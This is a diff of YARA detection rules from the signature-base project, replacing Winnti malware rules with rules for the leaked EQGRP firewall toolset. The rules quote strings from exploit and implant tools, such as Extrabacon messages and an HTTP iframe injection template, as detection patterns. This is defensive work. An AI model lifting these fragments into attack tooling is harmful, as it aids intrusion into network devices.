-		$s7 = "\\Device\\{93144EB0-8E3E-4591-B307-8EEBFE7DB28F}" wide
-		$s8 = "Bad packet" fullword ascii
-		$s9 = "\\BaseNamedObjects\\EKV0000000000" wide
-		$s10 = "%x->%x" fullword ascii
-		$s11 = "IPInjectPkt" fullword ascii
+		$s1 = "cd /current/bin/FW/BANANAGLEE/$bgver/Install/LP/jetplow" fullword ascii
+		$s2 = "***** Please place your UA in /current/bin/FW/OPS *****" fullword ascii
+		$s3 = "ln -s ../jp/orig_code.bin orig_code_pixGen.bin" fullword ascii
+		$s4 = "*****             Welcome to JetPlow              *****" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <642KB and all of them
+		1 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Winnti_Malware_Streamportal_Gen : FILE
+rule SIGNATURE_BASE_EQGRP_BBANJO : FILE
 {
 	meta:
-		description = "Detects a Winnti malware - Streamportal"
+		description = "EQGRP Toolset Firewall - file BBANJO-3011.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f9d31d6b-a6f7-5359-b741-960b678e0b9c"
-		date = "2015-10-10"
+		id = "81af4769-7007-51f1-9569-bc370618b4ff"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "VTI research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti.yar#L119-L141"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "249f51b263fbcab650983d75482fd4787934731e415fcbd0e6f6925032aac690"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L668-L687"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8ee2e817732674bf7ff5f396271a2a90da8f401d7ea0f0a3f51c21712adb3ea4"
 		score = 75
-		quality = 85
+		quality = 83
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "326e2cabddb641777d489a9e7a39d52c0dc2dcb1fde1762554ea162792056b6e"
-		hash2 = "9001572983d5b1f99787291edaadbb65eb2701722f52470e89db2c59def24672"
-		hash3 = "aff7c7478fe33c57954b6fec2095efe8f9edf5cdb48a680de9439ba62a77945f"
+		hash1 = "f09c2f90464781a08436321f6549d350ecef3d92b4f25b95518760f5d4c9b2c3"
 
 	strings:
-		$s0 = "Proxies destination address/port for TCP" fullword wide
-		$s3 = "\\Device\\StreamPortal" wide
-		$s4 = "Transport-Data Proxy Sub-Layer" fullword wide
-		$s5 = "Cookie: SN=" fullword ascii
-		$s6 = "\\BaseNamedObjects\\_transmition_synchronization_" wide
-		$s17 = "NTOSKRNL.EXE" fullword wide
-		$s19 = "FwpsReferenceNetBufferList0" fullword ascii
+		$s1 = "get_lsl_interfaces" fullword ascii
+		$s2 = "encryptFC4Payload" fullword ascii
+		$s3 = ".got_loader" fullword ascii
+		$s4 = "beacon_getconfig" fullword ascii
+		$s5 = "LOADED" fullword ascii
+		$s6 = "FormBeaconPacket" fullword ascii
+		$s7 = "beacon_reconfigure" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <275KB and all of them
+		( uint16(0)==0x457f and filesize <50KB and all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_WINNTI_Kingsoft_Moz_Confustion : FILE
+rule SIGNATURE_BASE_EQGRP_BPATROL_2201 : FILE
 {
 	meta:
-		description = "Detects Barium sample with Copyright confusion"
-		author = "Markus Neis"
-		id = "0c45c1ff-6734-504f-91d1-cf5d6744252f"
-		date = "2018-04-13"
+		description = "EQGRP Toolset Firewall - file BPATROL-2201.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "864a346c-e8aa-5c66-9867-faccb14b8bee"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://www.virustotal.com/en/file/070ee4a40852b26ec0cfd79e32176287a6b9d2b15e377281d8414550a83f6496/analysis/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti.yar#L143-L159"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ebd8465f484e1142ac741263282ea1c6f98e6bd0637ebdcec6ecc6233193407e"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L689-L706"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a2e9aa4627924c99dd3a342174855df3f0d545a67fd2293ca5601eeae70ae010"
 		score = 75
-		quality = 85
+		quality = 83
 		tags = "FILE"
-		hash1 = "070ee4a40852b26ec0cfd79e32176287a6b9d2b15e377281d8414550a83f6496"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "aa892750b893033eed2fedb2f4d872f79421174eb217f0c34a933c424ae66395"
+
+	strings:
+		$s1 = "dumpConfig" fullword ascii
+		$s2 = "getstatusHandler" fullword ascii
+		$s3 = ".got_loader" fullword ascii
+		$s4 = "xtractdata" fullword ascii
+		$s5 = "KEEPGOING" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and (pe.imphash()=="7f01b23ccfd1017249c36bc1618d6892" or (pe.version_info["LegalCopyright"] contains "Mozilla Corporation" and pe.version_info["ProductName"] contains "Kingsoft"))
+		( uint16(0)==0x457f and filesize <40KB and all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_Winnti_MAL_Dec19_1 : FILE
+rule SIGNATURE_BASE_EQGRP_Extrabacon
 {
 	meta:
-		description = "Detects Winnti malware"
-		author = "Unknown"
-		id = "322e9362-bfb6-55e3-9a93-d54246311d11"
-		date = "2019-12-06"
+		description = "EQGRP Toolset Firewall - file extrabacon_1.1.0.1.py"
+		author = "Florian Roth (Nextron Systems)"
+		id = "79b998ef-e548-5038-b8ad-da1abf362e7f"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://www.verfassungsschutz.de/download/broschuere-2019-12-bfv-cyber-brief-2019-01.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti.yar#L160-L176"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9e26a642cfe143b8efc52b2b9789c2ec54592f6347f16fb8716912767e4f9879"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L708-L725"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1a010d5e6324715f8e1bf29e957c365fabd2986fece53aaea23bba8ee59bd808"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "59d60835fe200515ece36a6e87e642ee8059a40cb04ba5f4b9cce7374a3e7735"
 
 	strings:
-		$e1 = "Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411015}" ascii nocase
-		$e2 = "Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411014}" ascii nocase
-		$e3 = "Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411016}" ascii nocase
-		$e4 = "\\BaseNamedObjects\\{B2B87CCA-66BC-4C24-89B2-C23C9EAC2A66}" wide
-		$e5 = "BFE_Notify_Event_{7D00FA3C-FBDC-4A8D-AEEB-3F55A4890D2A}" nocase
+		$x1 = "To disable password checking on target:" fullword ascii
+		$x2 = "[-] target is running" fullword ascii
+		$x3 = "[-] problem importing version-specific shellcode from" fullword ascii
+		$x4 = "[+] importing version-specific shellcode" fullword ascii
+		$s5 = "[-] unsupported target version, abort" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and ( any of ($e*))
+		1 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_Winnti_MAL_Dec19_2
+rule SIGNATURE_BASE_EQGRP_Sploit_Py
 {
 	meta:
-		description = "Detects Winnti malware"
-		author = "Unknown"
-		id = "77f2cb7d-90a6-5654-9d2e-6b525cd910a2"
-		date = "2019-12-06"
+		description = "EQGRP Toolset Firewall - file sploit.py"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9f403965-5fb1-55b2-bef6-65c18e08e58f"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://www.verfassungsschutz.de/download/broschuere-2019-12-bfv-cyber-brief-2019-01.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti.yar#L178-L201"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "216557999b7100f26556f9f7088b16ba125ac39b308cb77c997d620ce9591d24"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L727-L742"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "874eaffcbc191951db39ba6c85e8c80b83b0df8d33136b6cdcdefcb28e596474"
 		score = 75
 		quality = 85
 		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "0316d70a5bbf068a7fc791e08e816015d04ec98f088a7ff42af8b9e769b8d1f6"
 
 	strings:
-		$a1 = "IPSecMiniPort" wide fullword
-		$a2 = "ndis6fw" wide fullword
-		$a3 = "TCPIP" wide fullword
-		$a4 = "NDIS.SYS" ascii fullword
-		$a5 = "ntoskrnl.exe" ascii fullword
-		$a6 = "\\BaseNamedObjects\\{B2B87CCA-66BC-4C24-89B2-C23C9EAC2A66}" wide
-		$a7 = "\\Device\\Null" wide
-		$a8 = "\\Device" wide
-		$a9 = "\\Driver" wide
-		$b1 = { 66 81 7? ?? 70 17 }
-		$b2 = { 81 7? ?? 07 E0 15 00 }
-		$b3 = { 8B 46 18 3D 03 60 15 00 }
+		$x1 = "the --spoof option requires 3 or 4 fields as follows redir_ip" ascii
+		$x2 = "[-] timeout waiting for response - target may have crashed" fullword ascii
+		$x3 = "[-] no response from health check - target may have crashed" fullword ascii
 
 	condition:
-		(6 of ($a*)) and (2 of ($b*))
+		1 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_Winnti_MAL_Dec19_3
+rule SIGNATURE_BASE_EQGRP_Uninstallpbd
 {
 	meta:
-		description = "Detects Winnti malware"
-		author = "Unknown"
-		id = "2e001c91-0794-5940-ad8c-8e58a01e100c"
-		date = "2019-12-06"
+		description = "EQGRP Toolset Firewall - file uninstallPBD.bat"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0153cb2a-a0de-51f9-80c2-22136d56f16d"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://www.verfassungsschutz.de/download/broschuere-2019-12-bfv-cyber-brief-2019-01.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti.yar#L203-L219"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d09f948c9bf685de64e8a6f1c95d95b806651866f3364d5d9b8b2351c1a68be3"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L744-L759"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "51be8a491a1e228dfc6156a86e9f2ffc923c39d0649bbc031ea1bafe1af22a45"
 		score = 75
 		quality = 85
 		tags = ""
-
-	strings:
-		$b1 = { 0F B7 ?? 16 [0-1] (81 E? | 25) 00 20 [0-2] [8] 8B ?? 50 41 B9 40 00 00 00 41 B8 00 10 00 00 }
-		$b2 = { 8B 40 28 [5-8] 48 03 C8 48 8B C1 [5-8] 48 89 41 28 }
-		$b3 = { 48 6B ?? 28 [5-8] 8B ?? ?? 10 [5-8] 48 6B ?? 28 [5-8] 8B ?? ?? 14 }
-		$b4 = { 83 B? 90 00 00 00 00 0F 84 [9-12] 83 B? 94 00 00 00 00 0F 84 }
-		$b5 = { (45 | 4D) (31 | 33) C0 BA 01 00 00 00 [10-16] FF 5? 28 [0-1] (84 | 85) C0 }
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "692fdb449f10057a114cf2963000f52ce118d9a40682194838006c66af159bd0"
+
+	strings:
+		$s1 = "memset 00e9a05c 4 38845b88" fullword ascii
+		$s2 = "_hidecmd" ascii
+		$s3 = "memset 013abd04 1 0d" fullword ascii
 
 	condition:
-		(4 of ($b*))
+		all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_Winnti_MAL_Dec19_4
+rule SIGNATURE_BASE_EQGRP_BICECREAM : FILE
 {
 	meta:
-		description = "Detects Winnti malware"
-		author = "Unknown"
-		id = "1f7ac215-d049-5b97-9797-9589a70cbf2b"
-		date = "2019-12-06"
+		description = "EQGRP Toolset Firewall - file BICECREAM-2140"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a10819ae-db48-5d30-8e2e-2e4fe33e005b"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://www.verfassungsschutz.de/download/broschuere-2019-12-bfv-cyber-brief-2019-01.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti.yar#L221-L235"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "32909e915a6e602ad1e8698cf5c128c2e54670770b97f54b1414c5798c42cc00"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L761-L782"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "adaa6b7d4bf9e6f95fbae781382e72afc07993582473cbee7139a93df0fe3283"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4842076af9ba49e6dfae21cf39847b4172c06a0bd3d2f1ca6f30622e14b77210"
 
 	strings:
-		$b1 = { 4C 8D 41 24 33 D2 B9 03 00 1F 00 FF 9? F8 00 00 00 48 85 C0 74 }
-		$b2 = { 4C 8B 4? 08 BA 01 00 00 00 49 8B C? FF D0 85 C0 [2-6] C7 4? 1C 01 00 00 00 B8 01 00 00 00 }
-		$b3 = { 8B 4B E4 8B 53 EC 41 B8 00 40 00 00 4? 0B C? FF 9? B8 00 00 00 EB }
+		$s1 = "Could not connect to target device: %s:%d. Please check IP address." fullword ascii
+		$s2 = "command data size is invalid for an exec cmd" fullword ascii
+		$s3 = "A script was specified but target is not a PPC405-based NetScreen (NS5XT, NS25, and NS50). Executing scripts is supported but ma" ascii
+		$s4 = "Execute 0x%08x with args (%08x, %08x, %08x, %08x): [y/n]" fullword ascii
+		$s5 = "Execute 0x%08x with args (%08x, %08x, %08x): [y/n]" fullword ascii
+		$s6 = "[%d] Execute code." fullword ascii
+		$s7 = "Execute 0x%08x with args (%08x): [y/n]" fullword ascii
+		$s8 = "dump_value_LHASH_DOALL_ARG" fullword ascii
+		$s9 = "Eggcode is complete. Pass execution to it? [y/n]" fullword ascii
 
 	condition:
-		(2 of ($b*))
+		( uint16(0)==0x457f and filesize <5000KB and 2 of them ) or (5 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_Winnti_MAL_Dec19_5
+rule SIGNATURE_BASE_EQGRP_Create_Http_Injection : FILE
 {
 	meta:
-		description = "Detects Winnti malware"
-		author = "Unknown"
-		id = "2a8f28e6-5a01-5a2f-b89b-9c34163afcda"
-		date = "2019-12-06"
+		description = "EQGRP Toolset Firewall - file create_http_injection.py"
+		author = "Florian Roth (Nextron Systems)"
+		id = "92b6dad0-c7d8-5522-8fc1-fbd0aae00960"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://www.verfassungsschutz.de/download/broschuere-2019-12-bfv-cyber-brief-2019-01.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti.yar#L237-L264"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "977d11fbb7cf4678d4da179c43d5566520ee97ac528e269a9b985e5bc75641b7"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L784-L802"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3a2ee46c6fec1b7a501e8c0e2963d4873ede89d192d0f4701d051f782e8ece99"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "de52f5621b4f3896d4bd1fb93ee8be827e71a2b189a9f8552b68baed062a992d"
 
 	strings:
-		$a1 = "-k netsvcs" ascii
-		$a2 = "svchost.exe" ascii fullword
-		$a3 = "%SystemRoot%\\System32\\ntoskrnl.exe" ascii
-		$a4 = "Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411015}" ascii
-		$a5 = "Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411014}" ascii
-		$a6 = "Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411016}" ascii
-		$a7 = "cmd.exe" wide
-		$a8 = ",XML" wide
-		$a9 = "\\rundll32.exe" wide
-		$a10 = "\\conhost.exe" wide
-		$a11 = "\\cmd.exe" wide
-		$a12 = "NtQueryInformationProcess" ascii
-		$a13 = "Detours!" ascii fullword
-		$a14 = "Loading modified build of detours library designed for MPC-HC player (http://sourceforge.net/projects/mpc-hc/)" ascii
-		$a15 = "CONOUT$" wide fullword
-		$a16 = { C6 0? E9 4? 8? 4? 05 [2] 89 4? 01 }
+		$x1 = "required by SECONDDATE" fullword ascii
+		$s1 = "help='Output file name (optional). By default the resulting data is written to stdout.')" fullword ascii
+		$s2 = "data = '<html><body onload=\"location.reload(true)\"><iframe src=\"%s\" height=\"1\" width=\"1\" scrolling=\"no\" frameborder=\"" ascii
+		$s3 = "version='%prog 1.0'," fullword ascii
+		$s4 = "usage='%prog [ ... options ... ] url'," fullword ascii
 
 	condition:
-		(12 of ($a*))
+		( uint16(0)==0x2123 and filesize <3KB and ($x1 or 2 of them )) or ( all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_CN_Group_Loader_Jan20_1
+rule SIGNATURE_BASE_EQGRP_BFLEA_2201 : FILE
 {
 	meta:
-		description = "Detects loaders used by Chinese groups"
-		author = "Vitali Kremez"
-		id = "c85ae499-4f76-56ff-877d-887e1a7fc077"
-		date = "2020-02-01"
+		description = "EQGRP Toolset Firewall - file BFLEA-2201.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7dfdc2a2-73d1-5eba-8936-ed14b17495c5"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/VK_Intel/status/1223411369367785472?s=20"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti.yar#L266-L278"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "30a180ada2390ca8df4bf7883624a5a176249622b4c34ce96931fe62b09ea8e3"
-		score = 80
-		quality = 85
-		tags = ""
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L804-L823"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d0fd4d0ffe98856abed685c4b9ff770daba22aa16bd860440874fd94df2d54ea"
+		score = 75
+		quality = 83
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "15e8c743770e44314496c5f27b6297c5d7a4af09404c4aa507757e0cc8edc79e"
 
 	strings:
-		$xc1 = { 8B C3 C1 E3 10 C1 E8 10 03 D8 6B DB 77 83 C3 13 }
+		$s1 = ".got_loader" fullword ascii
+		$s2 = "LOADED" fullword ascii
+		$s3 = "readFlashHandler" fullword ascii
+		$s4 = "KEEPGOING" fullword ascii
+		$s5 = "flashRtnsPix6x.c" fullword ascii
+		$s6 = "fix_ip_cksum_incr" fullword ascii
+		$s7 = "writeFlashHandler" fullword ascii
 
 	condition:
-		1 of them
+		( uint16(0)==0x457f and filesize <30KB and 5 of them ) or ( all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_Winnti_Dropper_X64_Libtomcrypt_Fns : TAU CN APT
+rule SIGNATURE_BASE_EQGRP_Bpfcreator_RHEL4 : FILE
 {
 	meta:
-		description = "Designed to catch winnti 4.0 loader and hack tool x64"
-		author = "CarbonBlack Threat Research"
-		id = "080d837c-248f-5718-b4a2-290495cd3b38"
-		date = "2019-08-26"
+		description = "EQGRP Toolset Firewall - file BpfCreator-RHEL4"
+		author = "Florian Roth (Nextron Systems)"
+		id = "476185f2-b093-5fb9-8604-891e96fe52a9"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://www.carbonblack.com/2019/09/04/cb-tau-threat-intelligence-notification-winnti-malware-4-0/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti.yar#L280-L327"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "39d23f2a12a3b78182e52847e2fdb2d09386765138c37eb7f75edfc680505531"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L825-L842"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8586425b13355170137d66fe8d52ed98982d7c5699b26a8c0132f107b4af43d8"
 		score = 75
-		quality = 83
-		tags = "TAU, CN, APT"
-		rule_version = 1
-		yara_version = "3.8.1"
-		Confidence = "Prod"
-		Priority = "High"
-		TLP = "White"
-		exemplar_hashes = "5ebf39d614c22e750bb8dbfa3bcb600756dd3b36929755db9b577d2b653cd2d1"
-		sample_md5 = "794E127D627B3AF9015396810A35AF1C"
+		quality = 85
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "bd7303393409623cabf0fcf2127a0b81fae52fe40a0d2b8db0f9f092902bbd92"
 
 	strings:
-		$0x140001820 = { 48 83 EC 28 83 3D ?? ?? ?? ?? 00 }
-		$0x140001831 = { 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 FF }
-		$0x140001842 = { B8 0B 00 E0 0C 48 83 C4 28 C3 }
-		$0x14000184c = { 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 FF }
-		$0x140001881 = { B8 0C 00 E0 0C 48 83 C4 28 C3 }
-		$0x14000188b = { 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 FF }
-		$0x1400018e4 = { B8 0D 00 E0 0C 48 83 C4 28 C3 }
-		$0x1400018ee = { 48 8D 0D ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 41 B8 A0 01 00 00 E8 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 01 00 00 00 }
-		$0x140001911 = { 33 C0 48 83 C4 28 C3 }
-		$0x140001670 = { 40 55 56 57 41 55 41 56 41 57 B8 38 12 00 00 E8 ?? ?? ?? ?? 48 2B E0 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 84 24 10 12 00 00 48 8B AC 24 90 12 00 00 4C 8B B4 24 A0 12 00 00 45 33 FF 44 39 3D ?? ?? ?? ?? 49 8B F1 41 0F B7 F8 4C 8B EA 44 8B D9 66 44 89 7C 24 40 }
-		$0x1400016c8 = { B8 01 00 E0 0C }
-		$0x1400016d2 = { 48 89 9C 24 30 12 00 00 4D 85 C9 }
-		$0x1400016ec = { 8B 9C 24 98 12 00 00 83 FB 01 }
-		$0x1400016fc = { 48 8D 54 24 40 }
-		$0x140001701 = { 4C 89 A4 24 28 12 00 00 E8 ?? ?? ?? ?? 44 0F B7 64 24 40 66 44 3B E7 }
-		$0x140001727 = { 48 8D 54 24 40 41 8B CB E8 ?? ?? ?? ?? 0F B7 94 24 A8 12 00 00 66 39 54 24 40 }
-		$0x140001750 = { 41 8B CB E8 ?? ?? ?? ?? 8B F8 83 F8 FF }
-		$0x14000175f = { B8 0F 00 E0 0C }
-		$0x140001764 = { 4C 8B A4 24 28 12 00 00 }
-		$0x14000176c = { 48 8B 9C 24 30 12 00 00 }
-		$0x140001774 = { 48 8B 8C 24 10 12 00 00 48 33 CC E8 ?? ?? ?? ?? 48 81 C4 38 12 00 00 41 5F 41 5E 41 5D 5F 5E 5D C3 }
-		$0x140001795 = { 48 8D 4C 24 54 33 D2 41 B8 B4 11 00 00 44 89 7C 24 50 E8 ?? ?? ?? ?? 48 8D 44 24 50 48 89 44 24 30 45 0F B7 CC 4D 8B C5 49 8B D6 8B CF 44 89 7C 24 28 44 89 7C 24 20 E8 ?? ?? ?? ?? 85 C0 }
-		$0x1400017d5 = { 4C 8D 4C 24 50 44 8B C3 48 8B D5 48 8B CE E8 ?? ?? ?? ?? 48 8D 4C 24 50 8B D8 E8 ?? ?? ?? ?? 8B C3 }
-		$0x1400017fb = { B8 04 00 E0 0C }
-		$0x140001805 = { B8 03 00 E0 0C }
-		$0x14000180f = { B8 02 00 E0 0C }
+		$s1 = "usage %s \"<tcpdump pcap string>\" <outfile>" fullword ascii
+		$s2 = "error reading dump file: %s" fullword ascii
+		$s3 = "truncated dump file; tried to read %u captured bytes, only got %lu" fullword ascii
+		$s4 = "%s: link-layer type %d isn't supported in savefiles" fullword ascii
+		$s5 = "DLT %d is not one of the DLTs supported by this device" fullword ascii
 
 	condition:
-		all of them
+		( uint16(0)==0x457f and filesize <2000KB and all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_Winnti_Dropper_X86_Libtomcrypt_Fns : TAU CN APT
+rule SIGNATURE_BASE_EQGRP_Storefc
 {
 	meta:
-		description = "Designed to catch winnti 4.0 loader and hack tool x86"
-		author = "CarbonBlack Threat Research"
-		id = "48e7a3b0-55c7-5db5-855f-1614bd00afb4"
-		date = "2019-08-26"
+		description = "EQGRP Toolset Firewall - file StoreFc.py"
+		author = "Florian Roth (Nextron Systems)"
+		id = "48bbf5c9-e884-5126-93a2-d27650409882"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://www.carbonblack.com/2019/09/04/cb-tau-threat-intelligence-notification-winnti-malware-4-0/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti.yar#L329-L370"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "84bfe001758677ff3a0d60d98e29c33ad1525a0afb27b73df750b2131e298879"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L844-L859"
